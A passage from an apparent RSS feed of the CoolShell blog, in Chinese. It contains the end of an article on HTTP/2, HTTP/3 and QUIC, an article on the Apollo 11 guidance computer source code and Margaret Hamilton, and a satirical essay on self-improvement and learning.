    • 正式加入了 OPTIONS 方法,其主要用于 CORS – Cross Origin Resource Sharing 应用。
    • +
    +

    HTTP/1.1应该分成两个时代,一个是2014年前,一个是2014年后,因为2014年HTTP/1.1有了一组RFC(7230 /7231/7232/7233/7234/7235),这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求:

    +
      +
    • 一个需要是加大了HTTP的安全性,这样就可以让HTTP应用得广泛,比如,使用TLS协议。
    • +
    • 另一个是让HTTP可以支持更多的应用,在HTTP/1.1 下,HTTP已经支持四种网络协议: +
        +
      • 传统的短链接。
      • +
      • 可重用TCP的的长链接模型。
      • +
      • 服务端push的模型。
      • +
      • WebSocket模型。
      • +
      +
    • +
    +

    自从2005年以来,整个世界的应用API越来多,这些都造就了整个世界在推动HTTP的前进,我们可以看到,自2014的HTTP/1.1 以来,这个世界基本的应用协议的标准基本上都是向HTTP看齐了,也许2014年前,还有一些专用的RPC协议,但是2014年以后,HTTP协议的增强,让我们实在找不出什么理由不向标准靠拢,还要重新发明轮子了。

    +

    HTTP/2

    +

    虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了,但是还是有性能问题,虽然HTTP/1.1 可以重用TCP链接,但是请求还是一个一个串行发的,需要保证其顺序。然而,大量的网页请求中都是些资源类的东西,这些东西占了整个HTTP请求中最多的传输数据量。所以,理论上来说,如果能够并行这些请求,那就会增加更大的网络吞吐和性能。

    +

    另外,HTTP/1.1传输数据时,是以文本的方式,借助耗CPU的zip压缩的方式减少网络带宽,但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因,就是数据传输的成本比较大。

    +

    其实,在2010年时,Google 就在搞一个实验型的协议,这个协议叫SPDY,这个协议成为了HTTP/2的基础(也可以说成HTTP/2就是SPDY的复刻)。HTTP/2基本上解决了之前的这些性能问题,其和HTTP/1.1最主要的不同是:

    +
      +
    • HTTP/2是一个二进制协议,增加了数据传输的效率。
    • +
    • HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求,移除了HTTP/1.1中的串行请求。
    • +
    • HTTP/2会压缩头,如果你同时发出多个请求,他们的头是一样的或是相似的,那么,协议会帮你消除重复的部分。这就是所谓的HPACK算法(参看RFC 7541 附录A)
    • +
    • HTTP/2允许服务端在客户端放cache,又叫服务端push,也就是说,你没有请求的东西,我服务端可以先送给你放在你的本地缓存中。比如,你请求X,我服务端知道X依赖于Y,虽然你没有的请求Y,但我把把Y跟着X的请求一起返回客户端。
    • +
    +

    对于这些性能上的改善,在Medium上有篇文章你可看一下相关的细节说明和测试“HTTP/2: the difference between HTTP/1.1, benefits and how to use it

    +

    当然,还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多,其内部还有很多看不见的东西,比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议,自然会产生一些不同的声音,或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此,HTTP/2还是很快地被世界所采用。

    +

    HTTP/2 是2015年推出的,其发布后,Google 宣布移除对SPDY的支持,拥抱标准的 HTTP/2。过了一年后,就有8.7%的网站开启了HTTP/2,根据 这份报告 ,截止至本文发布时(2019年10月1日 ), 在全世界范围内已经有41%的网站开启了HTTP/2。

    +

    HTTP/2的官方组织在 Github 上维护了一份各种语言对HTTP/2的实现列表,大家可以去看看。

    +

    我们可以看到,HTTP/2 在性能上对HTTP有质的提高,所以,HTTP/2 被采用的也很快,所以,如果你在你的公司内负责架构的话,HTTP/2是你一个非常重要的需要推动的一个事,除了因为性能上的问题,推动标准落地也是架构师的主要职责,因为,你企业内部的架构越标准,你可以使用到开源软件,或是开发方式就会越有效率,跟随着工业界的标准的发展,你的企业会非常自然的享受到标准所带来的红利。

    +

    HTTP/3

    +

    然而,这个世界没有完美的解决方案,HTTP/2也不例外,其主要的问题是:若干个HTTP的请求在复用一个TCP的连接,底层的TCP协议是不知道上层有多少个HTTP的请求的,所以,一旦发生丢包,造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来,哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。

    +

    这个问题又叫Head-of-Line Blocking问题,这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。

    +

    +

    图中,左边的是输入队列,其中的1,2,3,4表示四个队列,四个队列中的1,2,3,4要去的右边的output的端口号。此时,第一个队列和第三个队列都要写右边的第四个端口,然后,一个时刻只能处理一个包,所以,一个队列只能在那等另一个队列写完后。然后,其此时的3号或1号端口是空闲的,而队列中的要去1和3号端号的数据,被第四号端口给block住了。这就是所谓的HOL blocking问题。

    +

    HTTP/1.1中的pipeline中如果有一个请求block了,那么队列后请求也统统被block住了;HTTP/2 多请求复用一个TCP连接,一旦发生丢包,就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。

    +

    是的TCP是无解了,但是UDP是有解的 !于是HTTP/3破天荒地把HTTP底层的TCP协议改成了UDP!

    +

    然后又是Google 家的协议进入了标准 – QUIC (Quick UDP Internet Connections)。接下来是QUIC协议的几个重要的特性,为了讲清楚这些特性,我需要带着问题来讲(注:下面的网络知识,如果你看不懂的话,你需要学习一下《TCP/IP详解》一书(在我写blog的这15年里,这本书推荐了无数次了),或是看一下本站的《TCP的那些事》。):

    +
      +
    • 首先是上面的Head-of-Line blocking问题,在UDP的世界中,这个就没了。这个应该比较好理解,因为UDP不管顺序,不管丢包(当然,QUIC的一个任务是要像TCP的一个稳定,所以QUIC有自己的丢包重传的机制)
    • +
    • TCP是一个无私的协议,也就是说,如果网络上出现拥塞,大家都会丢包,于是大家都会进入拥塞控制的算法中,这个算法会让所有人都“冷静”下来,然后进入一个“慢启动”的过程,包括在TCP连接建立时,这个慢启动也在,所以导致TCP性能迸发地比较慢。QUIC基于UDP,使用更为激进的方式。同时,QUIC有一套自己的丢包重传和拥塞控制的协,一开始QUIC是重新实现一TCP 的 CUBIC算法,但是随着BBR算法的成熟(BBR也在借鉴CUBIC算法的数学模型),QUIC也可以使用BBR算法。这里,多说几句,从模型来说,以前的TCP的拥塞控制算法玩的是数学模型,而新型的TCP拥塞控制算法是以BBR为代表的测量模型,理论上来说,后者会更好,但QUIC的团队在一开始觉得BBR不如CUBIC的算法好,所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“TCP BBR : Magic dust for network performance.
    • +
    • 接下来,现在要建立一个HTTPS的连接,先是TCP的三次握手,然后是TLS的三次握手,要整出六次网络交互,一个链接才建好,虽说HTTP/1.1和HTTP/2的连接复用解决这个问题,但是基于UDP后,UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手(对此,在HTTP/2的时候,是否默认开启TLS业内是有争议的,反对派说,TLS在一些情况下是不需要的,比如企业内网的时候,而支持派则说,TLS的那些开销,什么也不算了)。
    • +
    + + + + + + + +
    +

     

    +

    所以,QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。

    +

    但是对于UDP还是有一些挑战的,这个挑战主要来自互联网上的各种网络设备,这些设备根本不知道是什么QUIC,他们看QUIC就只能看到的就是UDP,所以,在一些情况下,UDP就是有问题的,

    +
      +
    • 比如在NAT的环境下,如果是TCP的话,NAT路由或是代理服务器,可以通过记录TCP的四元组(源地址、源端口,目标地址,目标端口)来做连接映射的,然而,在UDP的情况下不行了。于是,QUIC引入了个叫connection id的不透明的ID来标识一个链接,用这种业务ID很爽的一个事是,如果你从你的3G/4G的网络切到WiFi网络(或是反过来),你的链接不会断,因为我们用的是connection id,而不是四元组。
    • +
    +
      +
    • 然而就算引用了connection id,也还是会有问题 ,比如一些不够“聪明”的等价路由交换机,这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上,然而,他们不懂connection id,只懂四元组,这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上,这就是导致数据不能传到同一台服务器上,数据不完整,链接只能断了。所以,你需要更聪明的算法(可以参看 Facebook 的 Katran 开源项目 )
    • +
    +

    好了,就算搞定上面的东西,还有一些业务层的事没解,这个事就是 HTTP/2的头压缩算法 HPACK,HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的,HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上,这种同步是透明的,然而在UDP上这个事不好干了。所以,这个事也必需要重新设计了,基于QUIC的QPACK就出来了,利用两个附加的QUIC steam,一个用来发送这个字典表的更新给对方,另一个用来ack对方发过来的update。

    +

    目前看下来,HTTP/3目前看上去没有太多的协议业务逻辑上的东西,更多是HTTP/2 + QUIC协议。但,HTTP/3 因为动到了底层协议,所以,在普及方面上可能会比 HTTP/2要慢的多的多。但是,可以看到QUIC协议的强大,细思及恐,QUIC这个协议真对TCP是个威胁,如果QUIC成熟了,TCP是不是会有可能成为历史呢?

    +

    未来十年,让我们看看UDP是否能够逆袭TCP……

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19840.html/feed + 54 + + +
    + + 50年前的登月程序和程序员有多硬核 + https://coolshell.cn/articles/19612.html + https://coolshell.cn/articles/19612.html#comments + + + Sun, 21 Jul 2019 19:00:30 +0000 + + + + + + + https://coolshell.cn/?p=19612 + + Read More Read More

    ]]>
    + 2019年7月20日,是有纪念意义的一天,这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一,而是阿波罗登月的50周年的纪念日。早在几年前,在Github上放出了当年Apollo飞船使用的源代码(当然是汇编的),但完全不明白为什么这几天会有一些中国的小朋友到这个github的issue里灌水……,人类历史上这么伟大的一件事,为什么不借这个机会学习一下呢?下面是一些阿波罗登月与程序员相关的小故事,顺着这些东西,你可以把你的周末和精力用得更有价值。

    +

    +

    首先,要说的是Apollo 11导航的源代码,这些代码的设计负责人叫Margaret Heafield Hamilton ,是一个女程序员,专业是数学和哲学,1960年得到一个MIT麻省理工大学的临时的软件开发职位,负责在PDP-1和LGP-30上运行天气预报的软件(注:在计算机历史上,PDP系统机器被称为Hack文化的重要推手,PDP-11推了Unix操作系统,而Unix操作系统则是黑客文化的重要产品。参看《Unix传奇》)。然后,她又为美国空军编写探测知敌方飞行的软件,之后,于1965年的时候,她加入了MIT仪器实验室,并成为了这个实验室的主管,这个实验实就是Apollo计划的一部分,她负责编写全新的月球登录的导航软件,以及后来该软件在其他项目中的各个版本。

    +

    +

    上图是Hamilton站在她和她的麻省理工团队为阿波罗项目制作的导航软件源代码旁边,在Github上的开源的代码 – Apollo-11 (2016年开源)。我们可以看到,有两个重要的目录,一个目录叫“Comanche055”,一个目录叫“Luminary099”,前者是指挥舱用的(英文为 Command Module )后者为登月舱用的(英文为 Lunar Module),这里需要说明一下的是,指挥舱是把登录舱推到月球上,在返回的时候,登录舱是被抛弃掉的,而返回到地球的是指挥舱。如果你想看这两份源代码的纸版,你可以访问这两个链接:Comanche 55 AGC Program ListingLuminary 99 REv.1 AGC Program Listing。其中的55 和 90 是各自的build 版本号。

    +

    我们细看一下,这些文件的日期是,1969年7月14日,而Apollo 11登月的日期是1969年7月16日起程,7月19日经过月球背面,7月20日下午8点登月。代码写好,两天后就直接上生产,然后就登月,还是导航代码,这代码写的的健壮性得有多强。

    +

    如果你仔细比较一下这两个目录中的文件,你会发现有些文件是一样的,不但文件名一样,而且内容也一样。这说明这两个模块中的一些东西是相似的。

    +

    +

    这些代码应该是很难读了,因为当时写这些代码的时候,C语言都没有被发明,所以基本上来说都是汇编代码了,而且还可以发现,这些代码的源文件全是以agc后缀结尾的, 看来这还不是我们平时所了解的汇编,所谓的AGC代表了运行这些代码的计算机 – Apollo Guideance Computer 。沿着这个Wikipedia的链接,你可以看到AGC这个电脑的指令是什么样的,看懂那几条指令后,这些源代码也就能读懂了。当然,因为是写成汇编的,所以,读起来还是要费点神的。不过,其中有一个文件是 LUNAR_LANDING_GUIDANCE_EQUATIONS.agc 你会不会很好奇想去看看?

    +

    打开源文件,你还可以看到每个文件都有很多很多的注释,非常友好,但是也有一些注释比较有趣。这里有一组短视频带你读这些代码 – Exploring the Apollo Guidance Computer(AGC) Code,一供10个小视频,每个2分钟左右,如果你英文听边还行(我觉得很容易听懂),可以看看,了解一下AGC的工作方式,挺有趣意思的。

    +

    当时的AGC有32公斤,主频只有2MHz,2K的RAM,36K的ROM。嗯,当年就是这么一个小玩意,把人送上了月球,今天,一个聊天程序就占内存几GB……

    +

    下面是AGC在Apollo 1指挥舱里的样子(图片截自上面的视频),这个高质量的3D扫描来自 Simithsonian 3D: Apollo 11 Command Module (我觉得美国人干这些事干就是很漂亮啊,这种高清的3D扫描太牛了,如果你仔细看,这个舱里还有宇航员在舱壁上的手写)

    +

    +

    这个AGC的操作界面又叫DSKY – Display 和 Keyboard的缩写,下图是一个 AGC 模拟器,其官方主页在 https://www.ibiblio.org/apollo/源代码在 Github/VirtualAGC。在这个界面上我们可以看到:下面的键盘上左边有两个键,一个是动词Verb一个是名词Noun,Verb指定操作类型,Noun指定要由Verb命令修改的数据。右边的显示器下面有三个5位的数字,这三个数值显示表示航天器姿态的矢量,以及所需速度变化的显示矢量。是的,当年的导航就靠这三个数字和里面的程序了。

    +

    +

     

    +

    如果你想了解AGC更多的细节,你可以看看 这篇 AGC for Dummies。这篇文章讲述了AGC这个嵌入式系统的背景和操作指令。一份详细的AGC 汇编语言手册可以让你了解更多的细节。

    +

    另外,我在Youtube上找到了一个讲当时Apollo电脑的纪录片 – Navigation Computer,太有趣了。比如:21分51秒开始讲存储用的 Rope Memory 绕线内存,Hamilton 也出来讲了一下在这种内存上编程,画面切到一个人用个比较长的金属针在一个像主板一样的东西上,左右穿梭,就像刺绣一样,但是绣的不是图案,而是程序……太硬核了,真正的通过“硬编织”的方式来写程序。

    +

    +

    看完上面这个纪录篇,我是非常之惊叹,惊叹于50年前的工程能力,惊叹于50年前这些人面对技术的的一丝不苟,对技术的尊重和严谨的这种精神和方法,一点都不比较今天差。

    +

    不过,最牛的还不是这个,我在Hamilton的Wikipedia词条上找到了他说的一个事件—— 当年Apollo登陆雷达开关放在了错误的位置,导致AGC收到了不少错误的信号。结果就是AGC既得执行着陆必须的计算,又要接受这些占用其15%时间的额外数据。但是AGC的程序居然可以用高优先级的任务打断低优先级的任务,于是,AGC自动剔除了低级别的任务以保证了重要的任务完成。Hamilton 原话说—— 如果当时的程序不能识别错误并从错误中恢复,我怀疑阿波罗不能成功登月。if the computer hadn’t recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was。

    +

    看到这里,你有没有觉得——“这个女程序员的一小步,是整个人类的一大步”?

    +

    Hamilton 的牛逼之外还在于,她是第一个将“软件工程”提出来的人,在MIT,她想让软件开发就像其它工程一样,有相应的工程纪律,给于相关的尊重,于是她创造了Software Engineering这个词。2018年,IEEE在纪念软件工程50周年的时候,他们把 Hamilton 请过去讲了一个叫 What the Errors Tell Us 的主题。她绝对可以称得上是程序员的Pioneer。

    +

    三年前,Apollo的源代码被开源时候,Twitter有个叫 Lin Clark 的人发了一条推:“我妈50年前的代码被放到Github上了”,虽然,她不是 Hamilton 的女儿,但她妈妈也是Apollo其中一个程序员,现在Lin Clark同样也是一个程序员,目前在 Mozilla工作,Staff Engineer,专长 WebAssembly, Rust, 和 JavaScript ,也是个非常厉害的程序,Youtube上各种演讲,也是一个跟他妈妈一样牛的人。

    +

    当她在Twitter上这么自豪地发了一条这样的推后,我不知道各位有什么想法?想不想你的后代在未来也会这样自豪的发条微博?
    +

    +

     

    +

    最后,尤其是想对那些到Apollo源代码的issue里发spam垃圾信息的人说一下,你看看人家,再看看你们自己,你们是不是想让你们的孩子在登月100周年纪念的时候说——50年前我爹那个傻叉在Apollo的github的issue列表时写了些垃圾,还以为自己多机灵?!

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19612.html/feed + 62 + + +
    + + 如何超过大多数人 + https://coolshell.cn/articles/19464.html + https://coolshell.cn/articles/19464.html#comments + + + Sat, 22 Jun 2019 13:47:57 +0000 + + + + + https://coolshell.cn/?p=19464 + + Read More Read More

    ]]>
    + 当你看到这篇文章的标题,你一定对这篇文章产生了巨大的兴趣,因为你的潜意识在告诉你,这是一本人生的“武林秘籍”,而且还是左耳朵写的,一定有干货满满,只要读完,一定可以练就神功并找到超过大多数人的快车道和捷径……然而…… 当你看到我这样开篇时,你一定会觉得我马上就要有个转折,告诉你这是不可能的,一切都需要付出和努力……然而,你错了,这篇文章还真就是一篇“秘籍”,只要你把这些“秘籍”用起来,你就一定可以超过大多数人。而且,这篇文章只有我这个“人生导师”可以写得好。毕竟,我的生命过到了十六进制2B的年纪,踏入这个社会已超过20年,舍我其谁呢?!

    +

    P.S. 这篇文章借鉴于《如何写出无法维护的代码》一文的风格……嘿嘿

    +

    相关技巧和最佳实践

    +

    要超过别人其实还是比较简单的,尤其在今天的中国,更是简单。因为,你只看看中国的互联网,你就会发现,他们基本上全部都是在消费大众,让大众变得更为地愚蠢和傻瓜。所以,在今天的中国,你基本上不用做什么,只需要不使用中国互联网,你就很自然地超过大多数人了。当然,如果你还想跟他们彻底拉开,甩他们几个身位,把别人打到底层,下面的这些“技巧”你要多多了解一下。

    +

    在信息获取上,你要不断地向大众鼓吹下面的这些事:

    +
      +
    • 让大家都用百度搜索引擎查找信息,订阅微信公众号或是到知乎上学习知识……要做到这一步,你就需要把“百度一下”挂在嘴边,然后要经常在群或朋友圈中转发微信公众号的文章,并且转发知乎里的各种“如何看待……”这样的文章,让他们爱上八卦,爱上转发,爱上碎片。
    • +
    • 让大家到微博或是知识星球上粉一些大咖,密切关注他们的言论和动向……是的,告诉大家,大咖的任何想法一言一行都可以在微博、朋友圈或是知识星球上获得,让大家相信,你的成长和大咖的见闻和闲扯非常有关系,你跟牛人在一个圈子里你也会变牛。
    • +
    • 把今日头条和抖音这样的APP推荐给大家……你只需要让你有朋友成功地安装这两个APP,他们就会花大量的时间在上面,而不能自拔,要让他们安装其实还是很容易的,你要不信你就装一个试玩一会看看(嘿嘿嘿)。
    • +
    • 让大家热爱八卦,八卦并不一定是明星的八卦,还可以是你身边的人,比如,公司的同事,自己的同学,职场见闻,社会热点,争议话题,……这些东西总有一些东西会让人心态有很多微妙的变化,甚至花大量的时间去搜索和阅读大量的观点,以及花大量时间与人辩论争论,这个过程会让人上瘾,让人欲罢不能,然而这些事却和自己没有半毛钱关系。你要做的事就是转发其中一些SB或是很极端的观点,造成大家的一睦讨论后,就早早离场……
    • +
    • 利用爱国主义,让大家觉得不用学英文,不要出国,不要翻墙,咱们已经是强国了……这点其实还是很容易做到的,因为学习是比较逆人性的,所以,只要你鼓吹那些英文无用论,出国活得更惨,国家和民族都变得很强大,就算自己过得很底层,也有大国人民的感觉。
    • +
    +

    然后,在知识学习和技能训练上,让他们不得要领并产生幻觉

    +
      +
    • 让他们混淆认识和知识,以为开阔认知就是学习,让他们有学习和成长的幻觉……
    • +
    • 培养他们要学会使用碎片时间学习。等他们习惯利用碎片时间吃快餐后,他们就会失去精读一本书的耐性……
    • +
    • 不断地给他们各种各样“有价值的学习资料”,让他们抓不住重点,成为一个微信公众号或电子书“收藏家”……
    • +
    • 让他们看一些枯燥无味的基础知识和硬核知识,这样让他们只会用“死记硬背”的方式来学习,甚至直接让他们失去信心,直接放弃……
    • +
    • 玩具手枪是易用的,重武器是难以操控的,多给他们一些玩具,这样他们就会对玩具玩地得心应手,觉得玩玩具就是自己的专业……
    • +
    • 让他们喜欢直接得到答案的工作和学习方式,成为一个伸手党,从此学习再也不思考……
    • +
    • 告诉他们东西做出来就好了,不要追求做漂亮,做优雅,这样他们就会慢慢地变成劳动密集型……
    • +
    • 让他们觉得自己已经很努力了,剩下的就是运气,并说服他们去‘及时行乐’,然后再也找不到高阶和高效率学习的感觉……
    • +
    • 让他们觉得“读完书”、“读过书”就行了,不需要对书中的东西进行思考,进行总结,或是实践,只要囫囵吞枣尽快读完就等同于学好了……
    • +
    +

    最后,在认知和格局上,彻底打垮他们,让他们变成韭菜。

    +
      +
    • 让他们不要看到大的形势,只看到眼前的一亩三分地,做好一个井底之蛙。其实这很简单,比如,你不要让他们看到整个计算机互联网技术改变人类社会的趋势,你要多让他看到,从事这一行业的人有多苦逼,然后再说一下其它行业或职业有多好……
    • +
    • 宣扬一夜暴富以及快速挣钱的案例,最好让他们进入“赌博类”或是“传销类”的地方,比如:股市、数字货币……要让他们相信各种财富神话,相信他们就是那个幸运儿,他们也可以成为巴菲特,可以成为马云……
    • +
    • 告诉他们,一些看上去很难的事都是有捷径的,比如:21天就能学会机器学习,用区块链就能颠覆以及重构整个世界等等……
    • +
    • 多跟他们讲一些小人物的励志的故事,这样让他们相信,不需要学习高级知识,不需要掌握高级技能,只需要用低等的知识和低级的技能,再加上持续不断拼命重复现有的工作,终有一天就会成功……
    • +
    • 多让他们跟别人比较,人比人不会气死人,但是会让人变得浮躁,变得心急,变得焦虑,当一个人没有办法控制自己的情绪,没有办法让自己静下心来,人会失去耐性和坚持,开始好大喜欢功,开始装逼,开始歪门邪道剑走偏锋……
    • +
    • 让他们到体制内的一些非常稳定的地方工作,这样他们拥有不思进取、怕承担责任、害怕犯错、喜欢偷懒、得过且过的素质……
    • +
    • 让他们到体制外的那些喜欢拼命喜欢加班的地方工作,告诉他们爱拼才会赢,努力加班是一种福报,青春就是用来拼的,让他们喜欢上使蛮力的感觉……
    • +
    • 告诉他们你的行业太累太辛苦,干不到30岁。让他们早点转行,不要耽误人生和青春……
    • +
    • 当他们要做决定的时候,一定要让他们更多的关注自己会失去的东西,而不是会得到的东西。培养他们患得患失心态,让他们认识不到事物真正的价值,失去判断能力……(比如:让他们觉得跟对人拍领导的马屁忠于公司比自我的成长更有价值)
    • +
    • 告诉他们,你现有的技能和知识不用更新,就能过好一辈子,新出来的东西没有生命力的……这样他们就会像我们再也不学习的父辈一样很快就会被时代所抛弃……
    • +
    • 每个人都喜欢在一些自己做不到的事上找理由,这种能力不教就会,比如,事情太多没有时间,因为工作上没有用到,等等,你要做的就是帮他们为他们做不到的事找各种非常合理的理由,比如:没事的,一切都是最好的安排;你得不到的那个事没什么意思;你没有面好主要原因是那个面试官问的问题都是可以上网查得到的知识,而不没有问到你真正的能力上;这些东西学了不用很快会忘了,等有了环境再学也不迟……
    • +
    +

    最后友情提示一下,上述的这些“最佳实践”你要小心,是所谓,贩毒的人从来不吸毒,开赌场的人从来不赌博!所以,你要小心别自己也掉进去了!这就是“欲练神功,必先自宫”的道理。

    +

    相关原理和思维模型

    +

    对于上面的这些技巧还有很多很多,你自己也可以发明或是找到很多。所以,我来讲讲这其中的一些原理。

    +

    一般来说,超过别人一般来说就是两个维度:

    +
      +
    1. 在认知、知识和技能上。这是一个人赖以立足社会的能力(参看《程序员的荒谬之言还是至理名言?》和《21天教你学会C++》)
    2. +
    3. 在领导力上。所谓领导力就是你跑在别人前面,你得要有比别人更好的能力更高的标准(参看《技术人员发展之路》)
    4. +
    +

    首先,我们要明白,人的技能是从认识开始,然后通过学校、培训或是书本把“零碎的认知”转换成“系统的知识”,而有要把知识转换成技能,就需要训练和实践,这样才能完成从:认识 -> 知识 -> 技能 的转换。这个转换过程是需要耗费很多时间和精力的,而且其中还需要有强大的学习能力和动手能力,这条路径上有很多的“关卡”,每道关卡都会过滤掉一大部分人。比如:对于一些比较枯燥的硬核知识来说,90%的人基本上就倒下来,不是因为他们没有智商,而是他们没有耐心。

    +
    认知
    +

    要在认知上超过别人,就要在下面几个方面上做足功夫:

    +

    1)信息渠道。试想如果别人的信息源没有你的好,那么,这些看不见信息源的人,只能接触得到二手信息甚至三手信息,只能获得被别人解读过的信息,这些信息被三传两递后必定会有错误和失真,甚至会被传递信息的中间人hack其中的信息(也就是“中间人攻击”),而这些找不出信息源的人,只能“被人喂养”,于是,他们最终会被困在信息的底层,永世不得翻身。(比如:学习C语言,放着原作者K&R的不用,硬要用错误百出谭浩强的书,能有什么好呢?)

    +

    2)信息质量。信息质量主要表现在两个方面,一个是信息中的燥音,另一个是信息中的质量等级,我们都知道,在大数据处理中有一句名言,叫 garbage in garbage out,你天天看的都是垃圾,你的思想和认识也只有垃圾。所以,如果你的信息质量并不好的话,你的认知也不会好,而且你还要花大量的时间来进行有价值信息的挖掘和处理。

    +

    3)信息密度。优质的信息,密度一般都很大,因为这种信息会逼着你去干这么几件事,a)搜索并学习其关联的知识,b)沉思和反省,c)亲手去推理、验证和实践……一般来说,经验性的文章会比知识性的文章会更有这样的功效。比如,类似于像 Effiective C++/Java,设计模式,Unix编程艺术,算法导论等等这样的书就是属于这种密度很大的书,而像Netflix的官方blogAWS CTO的blog等等地方也会经常有一些这样的文章。

    +
    知识
    +

    要在知识上超过别人,你就需要在下面几个方面上做足功夫:

    +

    1)知识树(图)。任何知识,只在点上学习不够的,需要在面上学习,这叫系统地学习,这需要我们去总结并归纳知识树或知识图,一个知识面会有多个知识板块组成,一个板块又有各种知识点,一个知识点会导出另外的知识点,各种知识点又会交叉和依赖起来,学习就是要系统地学习整个知识树(图)。而我们都知道,对于一棵树来说,“根基”是非常重要的,所以,学好基础知识也是非常重要的,对于一个陌生的地方,有一份地图是非常重要的,没有地图的你只会乱窜,只会迷路、练路、走冤枉路!

    +

    2)知识缘由。任何知识都是有缘由的,了解一个知识的来龙去脉和前世今生,会让你对这个知识有非常强的掌握,而不再只是靠记忆去学习。靠记忆去学习是一件非常糟糕的事。而对于一些操作性的知识(不需要了解由来的),我把其叫操作知识,就像一些函数库一样,这样的知识只要学会查文档就好了。能够知其然,知其所以然的人自然会比识知识到表皮的人段位要高很多。

    +

    3)方法套路。学习不是为了找到答案,而是找到方法。就像数学一样,你学的是方法,是解题思路,是套路,会用方程式解题的和不会用方程式解题的在解题效率上不可比较,而在微积分面前,其它的解题方法都变成了渣渣。你可以看到,掌握高级方法的人比别人的优势有多大,学习的目的就是为了掌握更为高级的方法和解题思路

    +
    技能
    +

    要在技能上超过别人,你就需要在下面几个方面做足功夫:

    +

    1)精益求精。如果你想拥有专业的技能,你要做不仅仅是拼命地重复一遍又一遍的训练,而是在每一次重复训练时你都要找到更好的方法,总结经验,让新的一遍能够更好,更漂亮,更有效率,否则,用相同的方法重复,那你只不过在搬砖罢了。

    +

    2)让自己犯错。犯错是有利于成长的,这是因为出错会让人反思,反思更好的方法,反思更完美的方案,总结教训,寻求更好更完美的过程,是技能升级的最好的方式。尤其是当你在出错后,被人鄙视,被人嘲笑后,你会有更大的动力提升自己,这样的动力才是进步的源动力。当然,千万不要同一个错误重复地犯!

    +

    3)找高手切磋。下过棋,打个球的人都知道,你要想提升自己的技艺,你必需找高手切磋,在和高手切磋的过程中你会感受到高手的技能和方法,有时候你会情不自禁地哇地一下,我靠,还可以这么玩!

    +
    领导力
    +

    最后一个是领导力,要有领导力或是影响力这个事并不容易,这跟你的野心有多大,好胜心有多强 ,你愿意付出多少很有关系,因为一个人的领导力跟他的标准很有关系,因为有领导力的人的标准比绝大多数人都要高。

    +

    1)识别自己的特长和天赋。首先,每个人DNA都可能或多或少都会有一些比大多数人NB的东西(当然,也可能没有),如果你有了,那么在你过去的人生中就一定会表现出来了,就是那种大家遇到这个事会来请教你的寻求你帮助的现象。那种,别人要非常努力,而且毫不费劲的事。一旦你有了这样的特长或天赋,那你就要大力地扩大你的领先优势,千万不要进到那些会限制你优势的地方。你是一条鱼,你就一定要把别人拉到水里来玩,绝对不要去陆地上跟别人拼,不断地在自己的特长和天赋上扩大自己的领先优势,彻底一骑绝尘。

    +

    2)识别自己的兴趣和事业。没有天赋也没有问题,还有兴趣点,都说兴趣是最好的老师,当年,Linus就是在学校里对minx着迷了,于是整出个Linux来,这就是兴趣驱动出的东西,一般来说,兴趣驱动的事总是会比那些被动驱动的更好。但是,这里我想说明一下什么叫“真∙兴趣”,真正的兴趣不是那种三天热度的东西,而是那种,你愿意为之付出一辈子的事,是那种无论有多大困难有多难受你都要死磕的事,这才是“真∙兴趣”,这也就是你的“野心”和“好胜心”所在,其实上升到了你的事业。相信我,绝大多数人只有职业而没有事业的。

    +

    3)建立高级的习惯和方法。没有天赋没有野心,也还是可以跟别人拼习惯拼方法的,只要你有一些比较好的习惯和方法,那么你一样可以超过大多数人。对此,在习惯上你要做到比较大多数人更自律,更有计划性,更有目标性,比如,每年学习一门新的语言或技术,并可以参与相关的顶级开源项目,每个月训练一个类算法,掌握一种算法,每周阅读一篇英文论文,并把阅读笔记整理出来……自律的是非常可怕的。除此之外,你还需要在方法上超过别人,你需要满世界的找各种高级的方法,其中包括,思考的方法,学习的方法、时间管理的方法、沟通的方法这类软实力的,还有,解决问题的方法(trouble shooting 和 problem solving),设计的方法,工程的方法,代码的方法等等硬实力的,一开始照猫画虎,时间长了就可能会自己发明或推导新的方法。

    +

    4)勤奋努力执着坚持。如果上面三件事你都没有也没有能力,那还有最后一件事了,那就是勤奋努力了,就是所谓的“一万小时定律”了(参看《21天教你学会C++》中的十年学编程一节),我见过很多不聪明的人,悟性也不够(比如我就是一个),别人学一个东西,一个月就好了,而我需要1年甚至更长,但是很多东西都是死的,只要肯花时间就有一天你会搞懂的,耐不住我坚持十年二十年,聪明的人发明个飞机飞过去了,笨一点的人愚公移山也过得去,因为更多的人是懒人,我不用拼过聪明人,我只用拼过那些懒人就好了。

    +

    好了,就这么多,如果哪天你变得消极和不自信,你要来读读我的这篇文章,子曰:温故而知新。

    +

    (全文完)

    +


